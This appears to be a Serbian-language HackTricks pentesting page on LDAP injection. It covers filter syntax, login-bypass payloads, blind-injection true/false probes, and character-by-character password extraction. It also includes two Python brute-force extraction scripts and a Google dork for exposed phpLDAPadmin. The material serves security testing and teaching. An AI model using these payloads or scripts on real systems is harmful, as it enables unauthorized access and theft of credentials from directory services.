hacktricks/pentesting-web/ldap-injection.md

9.3 KiB

LDAP Injection

LDAP Injection

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ako vas zanima hakerska karijera i hakovanje neuhvatljivog - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno).

{% embed url="https://www.stmcyber.com/careers" %}

LDAP Injection

LDAP

Ako želite da saznate šta je LDAP, posetite sledeću stranicu:

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}

LDAP Injection je napad koji cilja veb aplikacije koje konstruišu LDAP izjave na osnovu korisničkog unosa. To se dešava kada aplikacija nepravilno filtrira unos, omogućavajući napadačima da manipulišu LDAP izjavama putem lokalnog proksija, što potencijalno može dovesti do neovlašćenog pristupa ili manipulacije podacima.

{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}

Filter = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Apolutno TAČNO
(|) = Apolutno NETAČNO

Na primer:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))

Možete pristupiti bazi podataka, koja može sadržati informacije različitih tipova.

OpenLDAP: Ako stignu 2 filtera, izvršava se samo prvi.
ADAM ili Microsoft LDS: Sa 2 filtera izbacuju grešku.
SunOne Directory Server 5.0: Izvršava oba filtera.

Veoma je važno poslati filter sa ispravnom sintaksom ili će biti izbačena greška. Bolje je poslati samo 1 filter.

Filter mora početi sa: & ili |
Primer: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Zatim: (&(objectClass=*)(ObjectClass=*)) će biti prvi filter (onaj koji se izvršava).

Bypassovanje Logovanja

LDAP podržava nekoliko formata za čuvanje lozinke: čist, md5, smd5, sh1, sha, crypt. Dakle, moguće je da bez obzira na to šta unesete kao lozinku, ona će biti heširana.

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Liste

Slepa LDAP Injekcija

Možete prisiliti lažne ili tačne odgovore da proverite da li se vraćaju podaci i potvrdite moguću slepu LDAP injekciju:

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Izbacivanje podataka

Možete iterirati kroz ASCII slova, cifre i simbole:

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Skripte

Otkrijte važeća LDAP polja

LDAP objekti podrazumevano sadrže nekoliko atributa koji se mogu koristiti za čuvanje informacija. Možete pokušati bruteforce-ovati sve njih kako biste izvukli te informacije. Možete pronaći listu podrazumevanih LDAP atributa ovde.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()

Posebna slepa LDAP ubacivanje (bez "*")

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

Google Dorks

intitle:"phpLDAPadmin" inurl:cmd.php

Više Payload-a

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

Ako ste zainteresovani za hakersku karijeru i hakovanje onoga što se ne može hakovati - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno).

{% embed url="https://www.stmcyber.com/careers" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: